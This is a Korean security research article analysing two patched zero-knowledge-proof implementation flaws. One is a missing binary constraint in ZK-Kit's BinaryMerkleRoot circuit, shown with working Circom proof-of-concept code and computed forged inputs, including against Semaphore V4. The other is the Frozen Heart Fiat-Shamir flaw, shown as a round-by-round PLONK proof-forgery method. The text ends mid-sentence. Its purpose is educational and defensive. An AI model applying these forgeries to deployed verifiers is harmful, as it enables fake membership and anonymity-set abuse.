# Analysis of ZKP Implementation Vulnerabilities: Causes and Countermeasures for Under Constrained Inputs and Frozen Heart Vulnerabilities
## Overview
Author: @Zer0Luck, @nugurii
우리는 ZKP는 수학적으로 검증된 구조를 통해 증명을 안전하게 구성하나, 이를 실제로 구현하는 과정에서 실수로 인해 취약해질 수 있음에 대해서 연구를 진행 하기 위해, 기존의 식별되었던 1-day case 버그들을 참고하여 연구를 진행 했다.
해당 발표에서 다룰 취약점은 두 가지로, 1) 입력 값에 대한 제약이 부족하여 발생하는 취약점과 2) 잘못된 Fiat-Shamir 구현으로 인해 발생하는 취약점에 대해서 분석을 진행 했다.
두 문제 모두 ZKP 자체의 수학적 안전성과는 무관하며, 구현상의 실수로 인해 취약한 벡터가 존재하는 케이스들이다.
첫 번째는 입력 값에 대한 제약이 부족하여 발생하는 취약점을 Under-Constrained Bug 이라는 취약점 카테고리로 분류하며, 구현 과정에서 범위가 제한되어야 하는 값에 대해 부적절하게 검증하여 발생하게 된다.
두 번째는 잘못된 Fiat-Shamir 구현으로 인해 발생하는 취약점은 해당 취약점을 공개한 보안 연구원들이 Frozen Heart라고 명명하였으며, Fiat-Shamir 변환 과정에 Public Input이 해시 계산에 포함되지 않기에, 증명자가 중명할 랜덤 챌린지를 미리 계산하여 고정한 뒤, 해당 증명 값을 유효하게 처리하기 위해 public input을 조작하여 검증자를 속일 수 있다.
본 아티클은 이러한 취약점들의 발생 원인을 상세히 분석하고, 취약성을 해소하기 위한 방안에 대해서 기술한다.
## Under-Constrained Bug in BinaryMerkleRoot Circuit
필자는 OtterSec 팀이 식별한 취약점에 대해서 ZK-Kit 팀 및 zkSecurity 팀 간의 협업을 통해 작성한 BinaryMerkleRoot 서킷의 제약 조건 부족 버그에 대한 리포트를 참고한 후 기술하였다.
#### 현재 상태
`BinaryMerkleRoot` 의 설계와 `MultiMux1`의 역할 `BinaryMerkleRoot` 서킷은 머클 멤버십 증명을 검증하기 위해 설계되었다. 이 서킷은 `MultiMux1` 컴포넌트를 재귀적으로 사용해 머클 경로의 각 단계에서 해시 입력값의 순서를 결정한다. `MultiMux1`은 `out <== (c[1] - c[0])*s + c[0]` 공식을 통해 `MultiMux1`의 선택 신호 `s` 에 따라 두 입력 `c[0]`, `c[1]` 중 하나를 선택하는 기능을 수행한다.
#### 문제점
취약점의 근본 원인은 `BinaryMerkleRoot` 가 `MultiMux1`에 전달하는 선택 신호 `s` 가 0 또는 1의 바이너리 값임을 강제하는 제약 조건이 누락되었다는 점이다. `MultiMux1` 서킷은 범용성을 위해 `s` 에 대한 어떠한 제약도 포함하지 않는다. 따라서 `s` 값의 유효성을 보장할 책임은 이를 호출하는 상위 서킷인 `BinaryMerkleRoot` 에 있다. 이 제약 조건의 부재로 인해, 증명자는 `s`에 임의의 유한체 원소를 할당하고도 유효한 증명을 생성할 수 있는 취약한 벡터가 존재 하게 된다.
## 공격 벡터 분석
`BinaryMerkleRoot` 외부에서 `Num2Bits` 와 같은 서킷를 통해 입력값의 바이너리 속성을 사전에 검증하는 프로젝트는 이 취약점의 영향을 받지 않는다. 이는 서킷의 안전성이 외부적인 전제 조건에 의존하고 있었음을 시사하며 서킷 자체의 방어적 설계가 미흡했음을 보여준다.
### MultiMux1의 1차 방정식을 이용한 해 도출
`MultiMux1` 서킷은 `out <== (c1 - c0) * s + c0` (또는 `out <== (in1 - in0) * s + in0`)와 같은 수학적 계산을 수행하는 범용 컴포넌트 이다. 이 계산식은 선택 신호 `s` 에 대한 1차 방정식으로 해석될 수 있으며,`s`가 0이면 `out`은 `c0` 가 되고, `s`가 1이면 `out`은 `c1`이 된다.
`MultiMux1` 자체는 `s`가 0 또는 1이어야 한다는 가정을 내포하지 않으며, 그러한 제약 조건을 강제하지도 않는다. 이는 컴포넌트의 범용성을 위한 설계 구조이다. 따라서 `s`는 유한체 ($𝔽_p$)의 임의의 원소가 될 수 있으며, 이는 공격자가 `s`에 0 또는 1이 아닌 값을 할당할 수 있는 근본적인 이유가 된다.
**초기 셋업**
실제 유효한 머클 트리에 존재하는 정상적인 노드 값인 `target0`와 `target1`을 대상으로 설정한다. 목표는 공격자가 임의로 선택한 "트리에 없는 리프 값(evil commitment)"으로부터 계산을 시작하여 최종적으로 이 `target` 값들을 만들어내는 것이다.
**변수 셋업**
**실제 Merkle 트리에 존재하지 않는 임의의 리프 값 `N` (evil commitment)** 을 설정한다. 이 `N` 값이 바로 공격자가 유효한 증명을 만들고자 하는 가짜 데이터이다. 즉,`N` 값을 가지고 `target0` 및 `target1`과 일치하는 결과를 얻기 위해, **조작된 sibling 노드 `S` 와 조작된 선택 신호 `s`** 를 찾아내야 한다.
**연립 방정식 구성**
`MultiMux1`의 핵심 로직을 모방한 `mux` 함수(`((y - x)*sel + x) % p`, `((x - y)*sel + y) % p`)를 사용하여 방정식을 구성 한다. 여기서 `x`는 공격자가 설정한 가짜 리프 `N`이 되고, `y`는 우리가 찾아야 할 **미지수 `S` (조작된 sibling 노드)**, `sel`은 우리가 찾아야 할 **미지수 `s` (조작된 경로 인덱스)** 가 된다. 이 `mux` 함수의 출력값들을 실제 목표값인 `target0` 및 `target1`과 동일하다고 놓고 연립 방정식을 세울 수 있다.
- 방정식 1: `(S - N) * s + N = target0`
- 방정식 2: `(N - S) * s + S = target1`
이를 기반으로 SageMath와 같은 도구를 사용하여 이 연립 방정식의 해(`(sel, S)` 쌍)를 구해보겠다.
이때, `GF(p)['sel, S']`와 같이 다항식 링을 설정하여 `sel`과 `S`를 미지수로 다루고, `Ideal` 및 `variety()` 함수를 통해 해를 찾을 수 있다.
이렇게 찾아진 `sel` 값은 0 또는 1이 아닌 **매우 큰 유한체 원소**가 될 수 있으며, 이는 **조작된 경로 인덱스**로 사용된다. 함께 찾아진 `S` 값은 **조작된 sibling 노드**로 사용 된다.
**취약점 결과**
이러한 조작된 `sel` (경로 인덱스)과 `S` (sibling 노드) 값을 `BinaryMerkleRoot` 서킷 (v2.0.0 이전 버전)에 입력하면, **실제로 Merkle 트리에 존재하지 않는 리프 (`N`)를 가지고도 유효한 Merkle 루트를 만들어내는 영지식 증명을 생성할 수 있다.** 그리고 이 증명은 정상적으로 검증이 된다. 실제로 PoC 코드에서는 정상적인 입력으로 계산된 루트와 조작된 입력으로 계산된 루트가 **동일하게 출력됨**을 보여준다.
## impact 분석
취약한 벡터를 트리거하는 근본적인 원인은 동일하지만, 그 버그가 드러나거나 악용될 수 있는 방식, 즉 서킷에 미치는 구체적인 영향 커버리지로 "Proof Length 1", "Proof Length 2", "Impact on Semaphore" 세 가지로 분류를 해볼 수 있다.
앞서 공격 벡터 분석에서 다뤘던, 버그에 대해서 리마인드를 드리면, `MultiMux1` 컴포넌트에 전달되는 선택 신호 `s`가 0 또는 1이어야 한다는 제약 조건이 `BinaryMerkleRoot` 서킷 자체에 누락되었기 때문에 발생한다. 이를 통해 연립 방정식 `(S - N) * sel + N = target0`와 `(N - S) * sel + S = target1`을 풀어, **0 또는 1이 아닌 조작된 `sel` (경로 인덱스) 값과 조작된 `S` (sibling 노드) 값을 찾아낼 수 있다..** 이 `sel`과 `S` 값이 바로 취약점을 트리거하는 핵심 조작 값이다.
### **시나리오**
근본적인 버그는 동일하지만, 이 버그가 Merkle 증명의 각 depth에서 어떻게 악용될 수 있는지, 그리고 이 `BinaryMerkleRoot` 서킷을 사용하는 상위 프로토콜에 어떻게 직접적인 영향을 미치는지를 보여주기 위해 세 가지 시나리오를 도출할 수 있다. 모든 시나리오의 궁극적인 영향은 "Merkle 트리에 속하지 않은 리프(또는 커밋먼트)로도 유효한 영지식 증명을 생성할 수 있다"는 것이다.
#### **1. Proof Length 1**
이 시나리오는 Merkle 트리의 가장 낮은 단일 레벨에서 취약점을 트리거 한다.
실제 Merkle 트리에 존재하지 않는 가짜 리프 값 (`N`, evil commitment) 으로, 실제 머클 트리의 유효한 부모 노드 값인 `target0`와 `target1`을 생성하는 유효한 영지식 증명을 생성하는 것이다.
**Step**:
1. 공격자가 설정한 가짜 리프 `N`, 미지수 sibling 노드 `S`, 미지수 선택 신호 `sel`을 사용하여 `MultiMux1`의 계산 로직을 모방한 `mux` 함수를 통해 두 개의 심볼릭 다항식을 구성한다.
2. 이 두 다항식이 실제 Merkle 트리의 정상적인 두 노드 값인 `target0` 및 `target1`과 같다는 연립 방정식을 구성하고, SageMath의 `Ideal.variety()` 함수를 통해 이 방정식의 해인 `(sel, S)` 쌍을 찾는다.
```shell=
target0 = 5407869850562333726769604095330004527418297248703115046359956082084347839061 // identityCommitment
target1 = 18699903263915756199535533399390350858126023699350081471896734858638858200219 // merkleProofSiblings
N = 8501798477768465939972755925731717646123222073408967613007180932472889698337 // evilidentityCommitment
```
```shell=
sel: 18511496158608553025564813493375997586708949594403917543049321156580578626782 //evilmerkleProofIndices
S: 15605974636709623986332381568988637739421098874644228905249510008250316340943 //evilmerkleProofSiblings
```
```circom=
pragma circom 2.1.5;
include "circomlib/circuits/poseidon.circom";
include "circomlib/circuits/mux1.circom";
include "circomlib/circuits/comparators.circom";
template BinaryMerkleRoot(MAX_DEPTH) {
signal input leaf, depth, indices[MAX_DEPTH], siblings[MAX_DEPTH];
signal output out;
signal nodes[MAX_DEPTH + 1];
nodes[0] <== leaf;
signal roots[MAX_DEPTH];
var root = 0;
for (var i = 0; i < MAX_DEPTH; i++) {
var isDepth = IsEqual()([depth, i]);
roots[i] <== isDepth * nodes[i];
root += roots[i];
var c[2][2] = [ [nodes[i], siblings[i]], [siblings[i], nodes[i]] ];
var childNodes[2] = MultiMux1(2)(c, indices[i]);
nodes[i + 1] <== Poseidon(2)(childNodes);
}
var isDepth = IsEqual()([depth, MAX_DEPTH]);
out <== root + isDepth * nodes[MAX_DEPTH];
}
template Poc () {
var identityCommitment = 5407869850562333726769604095330004527418297248703115046359956082084347839061;
var merkleProofLength = 1;
var merkleProofIndices[12] = [
0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0
];
var merkleProofSiblings[12] = [
18699903263915756199535533399390350858126023699350081471896734858638858200219, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0
];
var root = BinaryMerkleRoot(12)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings);
log("=========================================");
var evilidentityCommitment = 8501798477768465939972755925731717646123222073408967613007180932472889698337;
var evilmerkleProofLength = 1;
var evilmerkleProofIndices[12] = [
18511496158608553025564813493375997586708949594403917543049321156580578626782, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0
];
var evilmerkleProofSiblings[12] = [
15605974636709623986332381568988637739421098874644228905249510008250316340943, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0
];
var evilroot = BinaryMerkleRoot(12)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings);
log("root", root);
log("evilroot", evilroot);
}
component main = Poc();
```
계산 결과, `sel`은 0 또는 1이 아닌 **매우 큰 정수 값**으로, `S`는 조작된 sibling 노드 값으로 출력된다. 이 조작된 `evilmerkleProofIndices` (계산된 `sel` 값)와 `evilmerkleProofSiblings` (계산된 `S` 값), 그리고 `evilidentityCommitment` (공격자가 설정한 `N` 값)를 버그가 있는 `BinaryMerkleRoot` (v1.0.0) 서킷에 입력하면,
**정상적인 Merkle 루트와 동일한 결과(`evilroot == root`)를 생성한다.** 이는 트리에 존재하지 않는 리프로도 유효한 증명이 생성될 수 있음을 증명한다.
#### **2. Proof Length 2**
이 시나리오는 Merkle 트리의 두 레벨에 걸쳐 취약점을 트리거 한다. 이는 단일 레벨 뿐만 아니라 더 깊은 트리 구조에서도 동일한 취약점 벡터에 대해 설명한다.
Proof Length 1과 유사하게, **두 레벨 깊이의 Merkle 트리에서 트리에 없는 리프(`evilIdentityCommitment`)로도 유효한 Merkle 루트를 생성하는 증명을 만드는 것**.
**Step**:
1. 먼저 `evilIdentityCommitment`와 공격자가 선택한 첫 번째 `evilMerkleProofSiblings`의 해시를 계산하여 중간 노드 `N`을 생성한다.
2. 실제 머클 트리의 다음 레벨에서 최종 루트를 생성하는 두 노드를 `target0`와 `target1`로 설정한다.
3. 첫 번째 레벨에서 계산된 중간 노드 `N`과 미지수 `S` (두 번째 sibling 노드 `evilMerkleProofSiblings`), 그리고 미지수 `sel` (두 번째 경로 인덱스 `evilMerkleProofIndices`)을 사용하여 `mux` 방정식을 구성하고, `target0`, `target1`과 동일하다고 놓고 해를 찾는다.
```shell=
identityCommitment = 1
target0 = 7853200120776062878684798364095072458815029376092732009249414926327459813530
target1 = 14763215145315200506921711489642608356394854266165572616578112107564877678998 // merkleProofSiblings
N = 15395474291884160547406863474998981875412180596026064045600226749561926242039 // evilidentityCommitment
```
```shell=
sel = 20090961965327877873740014701675383996709275086978553778175856788671012923384 //evilmerkleProofIndices
S = 7220940974207102838199646378738698939797703046232240580227300284330411250489 //evilmerkleProofSiblings
```
```circom=
pragma circom 2.1.5;
include "circomlib/circuits/poseidon.circom";
include "circomlib/circuits/mux1.circom";
include "circomlib/circuits/comparators.circom";
template BinaryMerkleRoot(MAX_DEPTH) {
signal input leaf, depth, indices[MAX_DEPTH], siblings[MAX_DEPTH];
signal output out;
signal nodes[MAX_DEPTH + 1];
nodes[0] <== leaf;
signal roots[MAX_DEPTH];
var root = 0;
for (var i = 0; i < MAX_DEPTH; i++) {
var isDepth = IsEqual()([depth, i]);
roots[i] <== isDepth * nodes[i];
root += roots[i];
var c[2][2] = [ [nodes[i], siblings[i]], [siblings[i], nodes[i]] ];
var childNodes[2] = MultiMux1(2)(c, indices[i]);
nodes[i + 1] <== Poseidon(2)(childNodes);
}
var isDepth = IsEqual()([depth, MAX_DEPTH]);
out <== root + isDepth * nodes[MAX_DEPTH];
}
template Poc () {
var identityCommitment = 1;
var merkleProofLength = 2;
var merkleProofIndices[10] = [
0, 0, 0, 0, 0, 0, 0,
0, 0, 0
];
var merkleProofSiblings[10] = [
2, 14763215145315200506921711489642608356394854266165572616578112107564877678998, 0, 0, 0, 0, 0,
0, 0, 0
];
var root = BinaryMerkleRoot(10)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings);
log("=========================================");
var evilidentityCommitment = 20487509512443004370293742889271596038604851758367067799025496182227063091563;
var evilmerkleProofLength = 2;
var evilmerkleProofIndices[10] = [
0, 20090961965327877873740014701675383996709275086978553778175856788671012923384, 0, 0, 0, 0, 0,
0, 0, 0
];
var evilmerkleProofSiblings[10] = [
123, 7220940974207102838199646378738698939797703046232240580227300284330411250489, 0, 0, 0, 0, 0,
0, 0, 0
];
var evilroot = BinaryMerkleRoot(10)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings);
log("root", root);
log("evilroot", evilroot);
}
component main = Poc();
```
두 번째 레벨에서 사용할 조작된 `evilMerkleProofIndices` (매우 큰 정수)와 `evilMerkleProofSiblings` 값을 찾아준다. 이 값들을 사용하여 `BinaryMerkleRoot` (v1.0.0) 서킷을 실행하면, 두 레벨의 Merkle 트리에 대해 정상적인 루트와 동일한 `evilroot`가 생성된다.
#### **3. Impact on Semaphore**
`Semaphore`는 `BinaryMerkleRoot` 서킷을 그룹 멤버십 증명에 내부적으로 활용하는 프로토콜, 따라서 `BinaryMerkleRoot`의 취약점은 `Semaphore` 프로토콜에도 직접적인 응용 레벨의 영향을 미친다.
실제 그룹에 속하지 않는 익명성 커밋먼트(identity commitment, `N`)를 가지고도 유효한 `Semaphore V4` 증명을 생성하여, 그룹 멤버십을 거짓으로 증명하는 것이다.
**Step**:
1. 실제 유효한 `Semaphore` 그룹의 Merkle 트리에 존재하는 두 개의 노드 값을 `target0`와 `target1`로 설정한다.
2. 공격자가 증명하고 싶은 트리에 없는 `evilsecret`으로 생성된 `Semaphore` 아이덴티티 커밋먼트 `N`을 설정한다.
3. `N`, 미지수 `S` (조작된 sibling 노드), 미지수 `sel` (조작된 경로 인덱스)를 사용하여 `mux` 방정식을 구성하고 `target0`, `target1`과 동일하다고 놓고 해를 찾는다.
`Semaphore` 증명에 필요한 조작된 `evilmerkleProofIndices` (계산된 `sel` 값)와 `evilmerkleProofSiblings` (계산된 `S` 값)를 찾아준다. 이 조작된 값들을 `Semaphore` 서킷 (내부적으로 `BinaryMerkleRoot` v1.0.0을 사용)에 입력하면, 정상적인 `Semaphore` 증명과 동일한 `evilroot`가 생성된다.
```shell=
target0 = 18699903263915756199535533399390350858126023699350081471896734858638858200219
target1 = 15684639248941018939207157301644512532843622097494605257727533950250892147976 // merkleProofSiblings
N = 6064632857532276925033625901604953426426313622216578376924090482554191077680 // evilidentityCommitment
```
```shell=
sel = 9228398241747548072288697997709004271591955927781758657125859189315051293271 //evilmerkleProofIndices
S = 6431666783485222991462659054172634875994967774212074009001974139759750774898 //evilmerkleProofSiblings
```
```circom=
pragma circom 2.1.5;
include "circomlib/circuits/poseidon.circom";
include "circomlib/circuits/mux1.circom";
include "circomlib/circuits/comparators.circom";
include "circomlib/circuits/babyjub.circom";
template BinaryMerkleRoot(MAX_DEPTH) {
signal input leaf, depth, indices[MAX_DEPTH], siblings[MAX_DEPTH];
signal output out;
signal nodes[MAX_DEPTH + 1];
nodes[0] <== leaf;
signal roots[MAX_DEPTH];
var root = 0;
for (var i = 0; i < MAX_DEPTH; i++) {
var isDepth = IsEqual()([depth, i]);
roots[i] <== isDepth * nodes[i];
root += roots[i];
var c[2][2] = [ [nodes[i], siblings[i]], [siblings[i], nodes[i]] ];
var childNodes[2] = MultiMux1(2)(c, indices[i]);
nodes[i + 1] <== Poseidon(2)(childNodes);
}
var isDepth = IsEqual()([depth, MAX_DEPTH]);
out <== root + isDepth * nodes[MAX_DEPTH];
}
template Semaphore(MAX_DEPTH) {
signal input secret;
signal input merkleProofLength, merkleProofIndices[MAX_DEPTH], merkleProofSiblings[MAX_DEPTH];
signal input message;
signal input scope;
signal output merkleRoot, nullifier;
var l = 2736030358979909402780800718157159386076813972158567259200215660948447373041;
component isLessThan = LessThan(251);
isLessThan.in <== [secret, l];
isLessThan.out === 1;
var Ax, Ay;
(Ax, Ay) = BabyPbk()(secret);
var identityCommitment = Poseidon(2)([Ax, Ay]);
merkleRoot <== BinaryMerkleRoot(MAX_DEPTH)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings);
nullifier <== Poseidon(2)([scope, secret]);
signal dummySquare <== message * message;
}
template Poc () {
var secret = 1978755119068081247093963160279604962264019399313700915496711871956252953559;
var merkleProofLength = 1;
var merkleProofIndices[10] = [
0, 0, 0, 0, 0, 0, 0,
0, 0, 0
];
var merkleProofSiblings[10] = [
15684639248941018939207157301644512532843622097494605257727533950250892147976, 0, 0, 0, 0, 0, 0,
0, 0, 0
];
var message = 123;
var scope = 1;
var (root, nullifier) = Semaphore(10)(secret, merkleProofLength, merkleProofIndices, merkleProofSiblings, message, scope);
log("=========================================");
var evilsecret = 1352222402399481130087448567392608653639881123399864909525072050336173771260;
var evilmerkleProofLength = 1;
var evilmerkleProofIndices[10] = [
9228398241747548072288697997709004271591955927781758657125859189315051293271, 0, 0, 0, 0, 0, 0,
0, 0, 0
];
var evilmerkleProofSiblings[10] = [
6431666783485222991462659054172634875994967774212074009001974139759750774898, 0, 0, 0, 0, 0, 0,
0, 0, 0
];
var evilmessage = 123;
var evilscope = 1;
var (evilroot, evilnullifier) = Semaphore(10)(evilsecret, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings, evilmessage, evilscope);
log("root", root);
log("evilroot", evilroot);
}
component main = Poc();
```
이는 `Semaphore V4`와 같이 외부적으로 경로 인덱스 바이너리 제약 조건을 강제하지 않는 서킷들이 영향을 받았음을 보여준다.
## 해결 방안 및 설계 원칙
**서킷 코드 수정**
`BinaryMerkleRoot` 2.0.0에서 이 문제가 해결되었으며,해결책은 `indices[MAX_DEPTH]` 입력 대신 단일 십진수`index`를 받도록 변경하고, 이 `index`를 **`Num2Bits(MAX_DEPTH)(index)` 서킷을 통해 이진 표현으로 변환함으로써 회로 내에서 모든 인덱스가 바이너리임을 강제하는 것이다**. `Num2Bits`와 같은 서킷은 입력을 받아 각 비트가 0 또는 1임을 강제하는 제약 조건을 포함하고 있다.
**Trust setup**
`BinaryMerkleRoot` 서킷의 버그가 수정됨에 따라, Semaphore V4 서킷도 업데이트된 최신 버전의 `BinaryMerkleRoot`를 사용하도록 변경되었기 때문에 이런 프로토콜 업데이트와 보안 패치 이후에는 새로운 신뢰 설정 세리머니를 진행하는 것이 필수적임 즉, 퍼블릭 파라미터를 생성하는 여러 참여자가 협력하는 암호학적 절차이며, 이런 퍼블릭 파라미터를 SRS (Structured Reference String) or CRS(Common Reference String)라고 부른다.
다수의 사람들이 세레모니에 참여해서 기여하는 행위로, 암호학적 엔트로피를 높여 브라우저 엔진 스펙을 활용해 랜덤값을 생성하고 앞선 참여자가 만들어 공개한 SRS 값을 결합해 새로운 SRS 값을 다시 업로드 하는 절차를 수행 하게 된다. 이 과정이 끝나면 해당 랜덤값을 즉시 파기 하는 절차로 기여가 마무리 된다.
이번 사례 분석을 통해서 서킷 설계를 위해 방어적 설계론에 대한 확립이 필요하다고 생각한다. 특히 입력 유효성에 대한 강제가 필요하다고 보는데, 외부에서 들어오는 모든 입력 신호는 서킷 내부에서 명시적인 제약 조건을 통해 그 타입과 범위 검증이 필요하다고 보며, 실제 프로덕션을 배포할때 각 서킷별 프로토콜 레벨에서 해당 입력 제약에 대한 하네스를 포함해 퍼징 테스트를 통해 예외 케이스를 찾아내는 절차가 반드시 이행되어야 한다고 본다.
다음으로, 외부 라이브러리 컴포넌트를 사용할 경우, 해당 컴포넌트가 어떤 가정을 하고 있는지 어떤 제약 조건을 포함하는지 반드시 확인을 해야 한다. 마지막으로, 개발자의 의도나 당연한 전제 조건이 아닌 오직 코드에 명시된 수학적 제약 조건만이 서킷의 보안을 보장해야 한다.
---
# The Frozen Heart Vulnerability
해당 글은 보안 감사회사 TrailOfBits의 블로그에 게재된 Frozen Heart 취약점 포스팅을 참고한 후, 취약점의 원리를 보다 쉽게 이해하고자 작성하였다.
# Improper implementation for Fiat-Shamir
비대화형 ZK 증명과 관련된 논문을 보면 흔히들 대화형 증명을 먼저 구성한 뒤, Fiat-Shamir를 사용하여 상호작용이 필요한 부분을 Fiat-Shamir 변환을 통해 랜덤 값을 생성하여 사용함으로써 대화형 증명을 비대화형 증명으로 변환하여 사용한다.
그러나 이러한 변환 과정에서 Fiat-Shamir를 부적절하게 구현하는 경우 유효하지 않은 증명으로 검증자를 속일 수 있는 상황이 발생할 수 있다.
Frozen Heart 취약점에 취약한 구현체의 경우 public input을 fiat-shamir 해시에 포함하지 않고 사용하여 발생한다. 잘못된 구현체에서는 public input가 변경되더라도 fiat-shamir의 랜덤 값이 변경되지 않아 마치 랜덤 값을 예측 가능한 것처럼 사용할 수 있기에, 랜덤 값을 먼저 계산한 뒤 public input을 그에 맞게 조작함으로써 증명을 유효하게 만들 수 있게 된다.
주의할 부분은 해당 취약점은 Plonk 자체에 대한 취약점이 아니며, 구현 과정에서 잘못된 구현으로 인해 발생하는 취약점이다.
> For this purpose we always denote by transcript the concatenation of the common preprocessed input, and public input, and the proof elements written by the prover up to a certain point in time
>
논문에는 이렇게 transcript에는 preprocessed input, public input, proof element가 포함된다고 쓰여있지만, 구현체에서 pubilc input이 누락된 경우 취약점이 발현된다.
공격의 핵심 아이디어는 챌린지 평가지점인 $\zeta$를 fiat-shamir를 통해 계산해내어 사용한다는 것이다. 이때 public input이 fiat-shamir의 요소에 포함되지 않기 때문에, 평가 지점 제타를 미리 계산한 뒤 그에 맞게 public input을 조작하여 유효한 증명을 만드는 것으로 검증자를 속일 수 있게 된다.
공격자의 증명 생성 과정을 따라가며, 공격자가 어떻게 증명을 생성하여 검증자를 속이는지 알아본다.
# Generate forge proof
## Round 1
증명 생성을 위해 증명자는 와이어 값을 나타내는 세 개의 다항식을 제출해야 한다.
$$
a(X) = (b_1X+b_2)Z_H(X)+\sum_{i=1}^{n}{w_iL_i(X)}
$$
$$
b(X) = (b_3X+b_4)Z_H(X)+\sum_{i=1}^{n}{w_{n+i}L_i(X)}
$$
$$
c(X) = (b_5X+b_6)Z_H(X)+\sum_{i=1}^{n}{w_{2n+i}L_i(X)}
$$
정직한 증명자는 위와 같은 방식으로 계산하여 생성했으나, 원본 다항식을 모르는 공격자의 경우 랜덤한 다항식 a’, b’, c’을 생성하고 제출한다.
## Round 2
Plonk에서는 copy constraint를 확인함으로써 각 와이어의 값이 일관된지 확인한다.
원본 방식은 위와 같다.
그러나 공격자는 원본 다항식을 알 수 없기 때문에 일반적으로는 이를 맞출 수 없다.
그렇기에 공격자는 [0]_1을 z 값으로 제출함으로써 이를 스킵한다.
> 이게 가능한 이유는 모든 와이어가 0으로 설정되면 관계성이 일관되게 유지되기에 copy constraint가 성립하기 때문이다.
→ 물론 구현체에서 영점(point at infinity)을 검사하고 제한하는 로직이 존재한다면, 여기서 막힐 수 있다.
>
## Round 3
원본 프로토콜에서는 모든 제약조건들을 만족하는 하나의 다항식으로 합치고 그에 대한 quotient 다항식인 t(x)를 구한다. 그리고 이를 KZG 커밋을 위해 분리하는 작업을 수행한다.
공격자의 경우 원본 다항식을 모르기에 다항식을 합치거나 그에 대한 quotient polynomial인 t 역시 계산해낼 수 없다.
따라서 랜덤 다항식 t’를 생성하고, 그에 대한 $[t'_{lo}]_1, [t'_{mid}]_1, [t'_{hi}]_1$를 만든다.
## Round 4
원본 로직에서는 평가값 zeta를 계산하기 위해 transcript를 이용한 fiat-shamir를 이용하게 되며, 이때 공개된 평가값들에 대해 계산하고 보조 다항식 r을 계산하게 된다.
공격자는 챌린지값 zeta와 평가값을 계산하는데, 이때 랜덤 다항식 a’, b’, c’, t’를 사용하여 계산한다.
이 평가값들을 이용하여 다항식 `r` 을 구성한다. 그리고 zeta 지점에서 r의 평가값과 모든 평가지점의 평가값을 계산하여 전달한다.
이때, 계산된 각 평가값은 이전 라운드의 다항식을 이용하여 생성하였으므로 당연히 커밋과도 일치한다.
## Round 5
기존에는 위와 같이 batched opening proof를 생성하고 반환한다.
공격자도 이와 동일한 작업을 수행하되, a,b,c,t가 아닌 a’, b’, c’, t’를 이용하여 연산을 수행한다.
원래라면 여기서 증명자의 프로토콜이 종료되지만, 공격자는 검증자를 속이기 위해 한 가지 작업을 추가로 진행한다.
## Round 6
round5에서 봤던 opening proof polynomial인 $W_\zeta(X)$는 다음과 같이 정의된다.
공격자는 round 4에서 제약조건을 만족하지 않는 quotient 다항식 t’(X)를 만들었고, 이를 제타에서 평가하여 $\bar{t'} = t'(\zeta)$를 생성하였다.
round 5에서는 t를 쪼갠 값들과 a, b, c에 대한 값도 생성하여 제출했다.
그런데 검증 과정에서 검증자가 직접 $\bar{t}$를 계산하기에, 공격자가 임의로 만든 $\bar{t'}$와 다른 값이 나오게 된다.
→ 검증자의 검증 과정 step 8, 여기에는 $\zeta, public~inputs, a(\zeta), b(\zeta), c(\zeta)$등이 포함된다.
공격자의 의도대로 검증자를 속이기 위해서는 $\bar{t'}=\bar{t}$ 를 만족시켜야 한다. 그렇지 않으면 증명자가 계산한 t와 검증자가 계산한 t’의 평가값이 상이해지기 때문이다.
Frozen heart에 취약한 구현체에서는 Fiat-Shamir를 통한 $\zeta$ 계산 시 public input을 transcript에 포함하지 않는다.
공격자는 public input을 제외한 요소들로 $\zeta$를 미리 계산하여 고정해둔 뒤, public input을 이에 맞게 설계하여 검증자가 계산할 $\bar{t}$와 맞추는 작업을 진행한다.
검증 step8 과정의 좌항에 라운드 4에서 계산한 임의의 다항식 t의 zeta에서의 평가값 $\bar{t'}$를 고정한다.
우항의 값을 살펴보면
$$
\bar{t}_{verifier} = \frac{\bar{r}+PI(\zeta)-Q(\zeta)}{Z_H(\zeta)}
$$
다음과 같은데, 여기서 Q는 a,b,c에 대한 평가 다항식으로 증명자가 제공하는 값이다.
r 또한 복잡한 선형 조합이나, round 4에서 증명자가 생성 가능한 값이다.
Z_H(zeta)의 경우 고정 값으로, 증명자가 임의로 변경할 수 없다.
위의 값들 중에도 악의적인 증명자가 임의로 변경할 수 있는 변수들이 있으나, 이 값들은 모두 fiat-shamir 변환 시 transcript에 포함되어 해시되기에 그때마다 zeta 값이 변경되기에 공격에 사용할 수 없다.
그러나, PI(zeta)의 경우 public input를 통해 생성되기에 public input가 변경되어도 zeta가 고정되어 악의적인 증명이 유효하도록 만드는데 적합하다.
공격자는 PI(zeta)에 대한 식으로 변경하여 PI(zeta)를 계산한다.
$$
PI(\zeta) = \bar{t'} \cdot Z_H(\zeta) - \bar{r}+Q(\zeta)
$$
우항의 변수들은 모두 값을 알고 있는 변수이기에, 역산을 통해 PI(zeta)를 구할 수 있다.
PI(zeta)는 실수처럼 보이지만, 의미를 생각해보면 공개 입력값과 라그랑주 다항식의 곱셈 합으로 이루어진 PI(zeta)이므로, 아래처럼 계산된다.
$$
PI(\zeta) = \sum_{i=1}^n pub_i \cdot L_i(\zeta)
$$
공격자는 이 식을 풀어서 pubilc input을 구하면 된다.
이를 위해 가장 쉬운 방법은 첫 값을 미지수로 두고, 그 외 모든 public input에 0을 집어넣는 것이다.
최종적으로 public input 벡터를 쉽게 찾을 수 있다.
$$
first~public~input = \frac{PI(\zeta)}{L_i(\zeta)}$$
$$
public~input = [first~public~input, 0,0,...,0]
$$
이렇게 계산한 public input 벡터를 전달하면, 검증자는 동일한 공격자와 동일한 $\bar{t'}$값을 라운드 4에서 계산하게 되고, 최종적으로 페어링 연산을 수행하여 증명을 통과하게 된다.
# In real world
이러한 취약점이 Dusk Network의 plonk, iden3의 snarkjs, Consensys의 gnark 등 여러 라이브러리에 존재했었다고 한다.
Dusk Network의 plonk 패치 내역을 살펴보면
